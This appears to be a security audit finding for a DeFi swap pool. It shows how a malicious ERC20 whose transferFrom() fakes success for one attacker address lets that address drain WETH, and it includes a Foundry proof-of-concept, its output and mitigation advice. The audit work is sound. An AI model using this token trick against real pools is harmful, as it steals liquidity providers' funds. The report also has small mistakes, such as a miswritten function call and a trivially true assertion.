Summary
An attacker can steal weth funds from a pool using a malicious ERC20 contract.
If an attacker create a pool of PoolToken/Weth with PoolToken being a malicious ERC20 with a malicious code in the transferFrom() function he would be able to steal weth funds by swaping NO TOKEN in exchange for Weth.
For example an attacker create a PoolToken/Weth Pool and wait a few days for people to trade. Now let's say there is more Weth than ititialy in the pool.
Now the attacker can "swap" with no money, and steal weth from the pool because the contract doesn't check if poolToken supposedly sent are indeed received by the contract, considering the poolToken is safe but you never know.
Vulnerability Details
The vulnerability is in the _swap() function in TSwapPool.sol :
function _swap(IERC20 inputToken, uint256 inputAmount, IERC20 outputToken, uint256 outputAmount) private {
if ( _isUnknown(inputToken) || _isUnknown(outputToken) || inputToken == outputToken ) {
revert TSwapPool__InvalidToken();
}
swap_count++;
if (swap_count >= SWAP_COUNT_MAX) {
swap_count = 0;
outputToken.safeTransfer(msg.sender, 1_000_000_000_000_000_000);
}
emit Swap(
msg.sender,
inputToken,
inputAmount,
outputToken,
outputAmount
);
inputToken.safeTransferFrom(msg.sender, address(this), inputAmount);
outputToken.safeTransfer(msg.sender, outputAmount);
}
Create an ERC20 token replacing the transferFrom() function by this malicious code :
function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
address spender = _msgSender();
if (address(from) == address(0x7BcADA6410D7d84fE5A9Aa4CC546EB51c8982DFF)) {
return true;
}
_spendAllowance(from, spender, value);
_transfer(from, to, value);
return true;
}
If and only if the address is the attacker address, then do not transfer tokens but return true as if the transfer was done.
inputToken.safeTransfer(0xattackerAccount, address(this), inputAmount) will not fail and the next line of code,
which is transfering the outputToken, will go through.
We just robbed the Pool !
Solution to mitigate :
You should verify the balance of the inputToken in the pool contract after the supposedly transfer before executing the transfer of the outputToken.
POC: Modify TSwapPool.t.sol with this :
pragma solidity 0.8.20;
import { Test, console } from "forge-std/Test.sol";
import { TSwapPool } from "../../src/PoolFactory.sol";
import { ERC20Mock } from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
import { ERC20MockMalicious } from "../../lib/openzeppelin-contracts/contracts/token/ERC20/ERC20MockMalicious.sol";
import { IERC20 } from "@openzeppelin/contracts/interfaces/IERC20.sol";
contract TSwapPoolTest is Test {
TSwapPool pool;
ERC20MockMalicious poolToken;
ERC20Mock weth;
address liquidityProvider = makeAddr("liquidityProvider");
address user = address(0x7BcADA6410D7d84fE5A9Aa4CC546EB51c8982DFF);
function setUp() public {
poolToken = new ERC20MockMalicious();
weth = new ERC20Mock();
pool = new TSwapPool(address(poolToken), address(weth), "LTokenA", "LA");
weth.mint(liquidityProvider, 200e18);
poolToken.mint(liquidityProvider, 200e18);
weth.mint(user, 10e18);
poolToken.mint(user, 10e18);
}
function testDepositSwap() public {
vm.startPrank(liquidityProvider);
weth.approve(address(pool), 100e18);
poolToken.approve(address(pool), 100e18);
pool.deposit(100e18, 100e18, 100e18, uint64(block.timestamp));
vm.stopPrank();
vm.startPrank(user);
poolToken.approve(address(pool), 10e18);
pool.swapExactInput(poolToken, 10e18, weth, 0, uint64(block.timestamp));
assert(poolToken.balanceOf(address(pool)) == 100e18);
console.logUint(poolToken.balanceOf(address(pool)));
assert(weth.balanceOf(user) >= 0);
console.logUint(weth.balanceOf(address(pool)));
}
}
$ forge test -vv
Running 1 test for test/unit/Modified_TSwapPool.t.sol:TSwapPoolTest
[PASS] testDepositSwap() (gas: 220432)
Logs:
100000000000000000000 <--- The pool didn't receive any poolToken (before : 100e18, after : 100e18, should be 110e18)
90933891061198508685 <--- User received weth without spending any fund
Test result: ok. 1 passed; 0 failed; finished in 2.43ms
Impact
Steal Weth from the Pool. Loss of funds.
Tools Used
Foundry for POC
Recommendations
Solution to mitigate :
You should verify the balance of the inputToken after the supposedly transfer before executing the transfer of the outputToken.
Or whitelist tokens for the pool.
